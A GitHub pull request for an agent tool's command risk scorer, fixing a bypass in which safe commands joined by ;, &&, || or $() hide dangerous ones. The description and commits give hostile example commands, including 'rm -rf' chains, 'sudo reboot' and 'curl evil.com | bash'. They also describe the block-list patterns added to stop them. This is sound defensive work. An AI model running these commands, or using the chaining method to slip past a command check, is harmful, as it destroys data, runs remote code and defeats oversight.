Skip to content

Conversation

@unixmonk
Copy link
Contributor

@unixmonk unixmonk commented Nov 6, 2025

Fix Command Chaining Security Vulnerability

First, thanks for making this, it's the first "autonomous agent" system I ever used I think :) This is a great new feature too. Just noticed it could use a bit of tightening especially around chaining operators (;, &&, ||) as they could be used to bypass security checks by prefixing dangerous commands with safe ones.

Problem

The risk scorer was evaluating command chains as single units, allowing dangerous commands to be hidden behind safe ones:

  • ls -la; rm -rf /important/data → incorrectly marked as safe
  • pwd && sudo reboot → incorrectly marked as safe
  • echo hello || curl evil.com | bash → incorrectly marked as safe

Solution

Enhanced the risk scoring algorithm to detect command chaining operators and appropriately escalate risk levels:

  • Detects ;, &&, || operators that enable command chaining
  • Increases risk score when chaining is present
  • Maintains existing pattern matching for individual commands

Changes

  • Added command separator detection in ScoreCommand()
  • Escalates RiskSafeRiskUnknown when chaining detected
  • Escalates RiskUnknownRiskDanger when chaining detected
  • Preserves existing risk assessment logic

Security Impact

  • Command chains now properly flagged as higher risk
  • Prevents bypass of security checks via command concatenation
  • Maintains backward compatibility with existing safe commands

Testing

  • All existing tests pass
  • Added comprehensive test coverage for chaining scenarios
  • Validates proper risk escalation for various operator combinations

monk added 2 commits November 6, 2025 22:21
This commit addresses a significant security vulnerability in the risk scoring
system where command chaining operators (;, &&, ||) could be used to bypass
security checks by prefixing dangerous commands with safe ones.

## Problem
The previous implementation evaluated entire command strings as single units,
allowing attacks like:
- `ls -la; rm -rf /important/data` → marked as safe
- `pwd && sudo reboot` → marked as safe
- `echo test > /tmp/$(rm -rf /)` → marked as safe

## Solution
Implemented a command parser that:
- Splits command chains into individual components
- Evaluates each component independently
- Returns the maximum risk level across all components
- Properly handles redirects and command substitution

## Changes
- Added CommandComponent, Redirect types for structured parsing
- Implemented ParseCommand() to split by ;, &&, || operators
- Added evaluateComponent() for individual command assessment
- Added checkRedirect() for file operation safety
- Added aggregateRisks() for combining risk levels
- Refactored ScoreCommand() to use new parser architecture

## Security Improvements
- Command chains with dangerous components → Danger
- Command chains with unknown components → Unknown
- Redirects to system paths (/etc/, /sys/, etc.) → Danger
- Redirects with command substitution → Unknown
- Maintains backward compatibility with existing patterns

## Testing
- All existing tests continue to pass (46 tests)
- Added 19 comprehensive vulnerability tests
- Covers edge cases: quotes, escapes, nested substitutions
- Validates proper risk level assignment

Fixes the command chaining bypass vulnerability while maintaining
the existing API and security model.
Only keep the security fix changes for the PR.
@alvinunreal alvinunreal requested a review from Copilot November 6, 2025 15:07
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull Request Overview

This PR enhances the risk scoring system to detect command chaining vulnerabilities and improve security detection. The changes refactor ScoreCommand to parse complex command structures and evaluate risk for chained commands, command substitutions, and redirects separately.

Key Changes

  • Introduces command parsing to detect operators like ;, &&, ||, and command substitution $()
  • Adds explicit redirect detection and risk evaluation for dangerous system paths
  • Expands test coverage with 28 new test cases for command chaining vulnerabilities

Reviewed Changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 8 comments.

File Description
internal/risk_scorer.go Refactors risk scoring with new parsing logic, component evaluation, and redirect checking; modifies -exec pattern to catch all executions
internal/risk_scorer_test.go Adds comprehensive test suite for command chaining vulnerabilities including semicolons, pipes, operators, substitutions, and redirects

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

monk added 3 commits November 6, 2025 23:46
…ties

This PR implements a robust security fix to prevent shell command injection
and bypasses by explicitly blocking shell metacharacters in the dangerousPatterns
list. This is a simpler and more reliable approach than attempting to parse
the command structure.

Key Changes:
- Blacklisted Shell Metacharacters: Any use of ;, &&, ||, & (chaining operators),
  $(), ` (command substitution), or <, > (redirection) now immediately results
  in RiskDanger. This patches all command injection vectors.
- Hardened Dangerous Commands: Broadened find detection to match any use of -exec
  (not just rm). Added checks for curl and wget using output flags (-o, -O) to
  prevent arbitrary file writing.
- Fixed chmod Logic: The chmod patterns were replaced with ones that correctly
  flag execute permissions (+x, octal 1, 3, 5, 7) while ignoring safe permissions
  like 644.
- Test Coverage: Includes the full TestScoreCommand_CommandChainingVulnerabilities
  suite to validate all injection vectors.
Addresses Copilot feedback by adding explicit test coverage for:
- echo test>file.txt (no spaces around >)
- echo test>>file.txt (no spaces around >>)

The existing [<>] regex pattern correctly handles both spaced and
non-spaced redirect operators.
@unixmonk unixmonk force-pushed the fix/command-chaining-security-vulnerability branch from 39c5f48 to 2b686f4 Compare November 6, 2025 16:13
@unixmonk
Copy link
Contributor Author

unixmonk commented Nov 6, 2025

I updated the find -exec comment as suggested. The changes are ready for final review and merge.

monk added 2 commits November 7, 2025 00:20
- Improve redirect operator detection to catch patterns without spaces
- Simplify chmod execute permission detection patterns
- Add specific system path redirect detection
- Update background job operator pattern to be more precise
@unixmonk
Copy link
Contributor Author

unixmonk commented Nov 6, 2025

OK, hopefully Copilot is happy now.

@alvinunreal
Copy link
Owner

Thanks @unixmonk looks good

@alvinunreal alvinunreal merged commit 45ad8ef into alvinunreal:main Nov 7, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants